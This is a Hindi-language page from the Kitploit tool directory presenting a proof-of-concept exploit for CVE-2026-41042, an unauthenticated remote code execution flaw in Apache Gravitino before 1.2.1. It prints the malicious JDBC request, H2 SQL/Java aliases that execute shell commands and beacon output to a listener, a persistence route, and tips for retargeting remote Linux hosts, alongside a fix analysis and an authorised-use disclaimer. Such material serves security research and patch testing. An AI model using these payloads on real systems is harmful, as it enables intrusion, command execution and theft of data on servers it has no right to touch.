Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-41042 — Apache Gravitino < 1.2.1 में H2 JDBC INIT के माध्यम से बिना प्रमाणीकरण के RCE का शोषण करता है; SQL/Java पेलोड होस्ट करता है, कमांड निष्पादित करता है, और HTTP बीकन के माध्यम से आउटपुट बाहर निकालता है। | Kitploit
उपकरण/GitHubGitHub/lulztigre/cve-2026-41042
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHublulztigre/cve-2026-41042

cve-2026-41042

Apache Gravitino < 1.2.1 में H2 JDBC INIT के माध्यम से बिना प्रमाणीकरण के RCE का शोषण करता है; SQL/Java पेलोड होस्ट करता है, कमांड निष्पादित करता है, और HTTP बीकन के माध्यम से आउटपुट बाहर निकालता है।

रिपॉजिटरी देखें
111 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-41042: Apache Gravitino < 1.2.1 बिना प्रमाणीकरण के RCE

CVE-2026-41042 के लिए स्व-निहित, केवल stdlib-आधारित PoC: Apache Gravitino के 1.2.1 से पहले के संस्करणों में H2 JDBC INIT कनेक्शन सेटिंग के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन। न कोई प्रमाणीकरण हेडर, न अतिरिक्त ड्राइवर, न pip इंस्टॉल।

python3 poc_cve-2026-41042.py http://127.0.0.1:8090 --metalake test_ml --cmd whoami

स्क्रिप्ट SQL पेलोड और एक आउटपुट बीकन होस्ट करती है, testConnection अनुरोध भेजती है, और कमांड के stdout को सीधे प्रिंट करती है।

CVE 2026-07-08 को आवंटित किया गया; श्रेय Junjie Li (Xidian University) को दिया गया। यह इस समस्या के लिए पहला सार्वजनिक रूप से कार्यशील PoC है। PoC: Akinlabi द्वारा।

प्रभावित संस्करण

असुरक्षितApache Gravitino < 1.2.1 (gravitino-catalog-jdbc-common)
ठीक किया गया1.2.1
सुरक्षा सलाहhttps://lists.apache.org/thread/vdh88wc6j5b38v65ncb111wbbnkf6bvm

H2 1.4.200 Gravitino की libs/ निर्देशिका में डिफ़ॉल्ट एंटिटी-स्टोर बैकएंड के रूप में शामिल है, इसलिए H2 ड्राइवर पहले से ही सर्वर क्लासपाथ पर मौजूद है। एक्सप्लॉइट के काम करने के लिए किसी अतिरिक्त ड्राइवर को तैनात करने की आवश्यकता नहीं है।

मूल कारण

POST /api/metalakes/{metalake}/catalogs/testConnection (Jersey रिसोर्स org.apache.gravitino.server.web.rest.CatalogOperations#testConnection, जो application/vnd.gravitino.v1+json उत्पन्न करता है) एक CatalogCreateRequest स्वीकार करता है। properties.jdbc-url का मान JDBC ड्राइवर की किसी भी जाँच के बिना कैटलॉग प्रदाता के कनेक्शन फैक्ट्री को सौंप दिया जाता है।

बंडल किए गए H2 ड्राइवर (org.h2.Driver) के साथ H2 INIT कनेक्शन सेटिंग का उपयोग करने पर कनेक्ट होने के समय मनमाना SQL निष्पादित होता है, और CREATE ALIAS सर्वर पर मनमाना Java कोड संकलित करके चलाता है। इस एंडपॉइंट के लिए किसी प्रमाणीकरण की आवश्यकता नहीं है।

उपयोग

आवश्यकताएँ: केवल Python 3 और मानक लाइब्रेरी।

python3 poc_cve-2026-41042.py <target> [--metalake NAME] [--cmd CMD] [--port PORT]
विकल्पडिफ़ॉल्टविवरण
target(आवश्यक)Gravitino सर्वर, उदा. http://127.0.0.1:8090
--metalaketest_mlजिस मेटालेक के अंतर्गत कैटलॉग का परीक्षण किया जाएगा
--cmdwhoamiलक्ष्य पर निष्पादित की जाने वाली कमांड
--port9000पेलोड + बीकन HTTP सर्वर के लिए स्थानीय पोर्ट

उदाहरण:

# Default run: whoami against the test_ml metalake
python3 poc_cve-2026-41042.py http://127.0.0.1:8090

# Custom command against a named metalake
python3 poc_cve-2026-41042.py http://10.0.0.5:8090 --metalake zeroauth_ml --cmd "ipconfig"

यदि मेटालेक मौजूद नहीं है, तो पहले एक बना लें (यह भी बिना प्रमाणीकरण के):

curl -X POST http://<target>:8090/api/metalakes \
  -H "Content-Type: application/json" \
  -d '{"name":"test_ml"}'

यह कैसे काम करता है

  1. स्क्रिप्ट 127.0.0.1 पर दो रूट्स के साथ एक थ्रेडेड HTTP सर्वर शुरू करती है: /poc.sql जनरेट किए गए पेलोड को सर्व करता है, /beacon?out=... कमांड आउटपुट कैप्चर करता है।

  2. यह एक दुर्भावनापूर्ण कैटलॉग परीक्षण POST करती है:

{
  "name": "h2rce",
  "type": "RELATIONAL",
  "provider": "jdbc-mysql",
  "properties": {
    "jdbc-url": "jdbc:h2:mem:t3f9a2c1;INIT=RUNSCRIPT FROM 'http://127.0.0.1:9000/poc.sql'",
    "jdbc-user": "sa",
    "jdbc-password": "",
    "jdbc-driver": "org.h2.Driver"
  }
}
  1. H2 SQL को HTTP के माध्यम से प्राप्त करता है और कनेक्ट होने के समय उसे चलाता है। पेलोड दो एलियस पंजीकृत करता है:
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
  java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
  String l; StringBuilder sb = new StringBuilder();
  while ((l = br.readLine()) != null) sb.append(l).append("\n");
  br.close();
  return sb.toString();
}
$$;
CREATE ALIAS IF NOT EXISTS BEACON AS $$
String beacon(String s) throws java.io.IOException {
  java.net.URL u = new java.net.URL("http://127.0.0.1:9000/beacon?out=" + java.net.URLEncoder.encode(s, "UTF-8"));
  u.openConnection().getInputStream().close();
  return s;
}
$$;
CALL BEACON(SHELLEXEC('whoami'));

SHELLEXEC कमांड चलाता है और उसका stdout एक स्ट्रिंग के रूप में लौटाता है; BEACON इसे HTTP के माध्यम से लिसनर तक बाहर भेजता है; स्क्रिप्ट बीकन को 5 सेकंड तक पोल करती है और आउटपुट प्रिंट करती है।

  1. HTTP प्रतिक्रिया के 5xx होने की उम्मीद है। jdbc-mysql प्रदाता की ड्राइवर-संस्करण जाँच (checkJDBCDriverVersion) कनेक्शन आरंभ होने के बाद चलती है, इसलिए त्रुटि केवल दिखावटी है: INIT पहले ही चल चुका होता है। त्रुटि पथ ही निष्पादन पथ है।

प्रत्येक रन के लिए एक नया यादृच्छिक इन-मेमोरी डेटाबेस नाम जनरेट होता है (secrets.token_hex(6)), इसलिए H2 एलियस रनों के बीच कभी स्थायी नहीं रहते और हर निष्पादन नियतात्मक होता है।

दूसरा प्रवेश बिंदु: createCatalog के माध्यम से स्थायी पेलोड

वही दुर्भावनापूर्ण jdbc-url POST /api/metalakes/{ml}/catalogs के माध्यम से भी काम करता है, जो HTTP 200 लौटाता है और H2 INIT URL को कैटलॉग कॉन्फ़िगरेशन में स्थायी रूप से सहेज देता है। कोई भी बाद में कनेक्शन के लिए बाध्य करने वाला ऑपरेशन आरंभीकरण के समय निष्पादन को ट्रिगर करता है:

GET /api/metalakes/test_ml/catalogs/catreal/schemas

दोनों प्रवेश बिंदु एक ही initialize() -> DataSourceUtils.createDataSource पथ से होकर गुजरते हैं, इसलिए 1.2.1 फिक्स दोनों को कवर करता है।

फिक्स विश्लेषण (1.2.1)

DataSourceUtils.createDataSource अब H2 URLs और ड्राइवरों को ब्लॉक करता है (कमिट 84d3de9c7c / 5daabcd0e, 1.3.0 ट्री में सत्यापित):

String decodedUrl = recursiveDecode(jdbcConfig.getJdbcUrl().toLowerCase());
if (decodedUrl.startsWith("jdbc:h2")) {
  throw new GravitinoRuntimeException("H2 JDBC URL is not allowed in catalog configuration");
}
if (jdbcConfig.getJdbcDriver().toLowerCase().startsWith("org.h2.")) {
  throw new GravitinoRuntimeException("H2 JDBC driver is not allowed in catalog configuration");
}

recursiveDecode URLDecoder को अधिकतम 5 बार चलाता है, इसलिए प्रीफिक्स को प्रतिशत-एन्कोड करने से जाँच को धोखा नहीं दिया जा सकता। JdbcUrlUtils.validateJdbcConfig (जिसे createDBCPDataSource से भी कॉल किया जाता है) इसके अतिरिक्त ज्ञात असुरक्षित MySQL/MariaDB/PostgreSQL पैरामीटरों (autoDeserialize, allowLoadLocalInfile, socketFactory, और इनके जैसे अन्य) को ब्लॉक करता है।

वास्तविक H2 1.4.200 के साथ जाँच की प्रतिकृति के विरुद्ध बायपास के प्रयासों का परीक्षण किया गया: आगे और पीछे का व्हाइटस्पेस, 6x+ प्रतिशत-एन्कोडिंग, केस और टैब चालें, सफिक्स चालें, और गैर-JDBC प्रदाता। कोई साफ बायपास नहीं मिला; H2 वेक्टर 1.2.1 में मज़बूती से ठीक हो चुका प्रतीत होता है।

प्रभाव आकलन

Apache इसे निम्न (low) दर्जा देता है, यह बताते हुए कि H2 केवल डेव/टेस्ट के लिए है और Gravitino सामान्यतः आंतरिक होता है। डिफ़ॉल्ट इंस्टॉल इसके विपरीत है:

  • H2 डिफ़ॉल्ट एंटिटी-स्टोर बैकएंड है, जो वितरण में बंडल किया जाता है
  • testConnection और createCatalog बिना प्रमाणीकरण के होते हैं जब gravitino.authorization.enable=false, जो डिफ़ॉल्ट है
  • डिफ़ॉल्ट बाइंड 0.0.0.0:8090 है

यथार्थवादी CVSS v3.1 अनुमान: ~9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), Gravitino पोर्ट की पहुँच-योग्यता के अधीन।

सीमाएँ

  • पेलोड और बीकन 127.0.0.1 से बंधे हैं। यह एक लैब से मेल खाता है जहाँ हमलावर और लक्ष्य एक ही होस्ट साझा करते हैं। दूरस्थ लक्ष्य के लिए, make_payload() और exploit() में 127.0.0.1 के संदर्भों को अपने लिसनर के IP में बदलें।
  • एलियस cmd.exe /c चलाता है (Windows लैब)। Linux लक्ष्यों पर, new String[]{"cmd.exe", "/c", cmd} पंक्ति को /bin/sh -c से बदल दें।
  • createCatalog स्थायित्व पथ इस स्क्रिप्ट में स्वचालित नहीं है; ऊपर दिए गए मैन्युअल अनुरोध का उपयोग करें।

अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण और शोध के लिए। यहाँ वर्णित हर तकनीक एक स्थानीय लैब में विकसित और सत्यापित की गई है। इसे किसी ऐसी प्रणाली पर प्रयोग करना जो आपके स्वामित्व में नहीं है, आपके अधिकार क्षेत्र में अवैध हो सकता है।

टूल डाउनलोड करें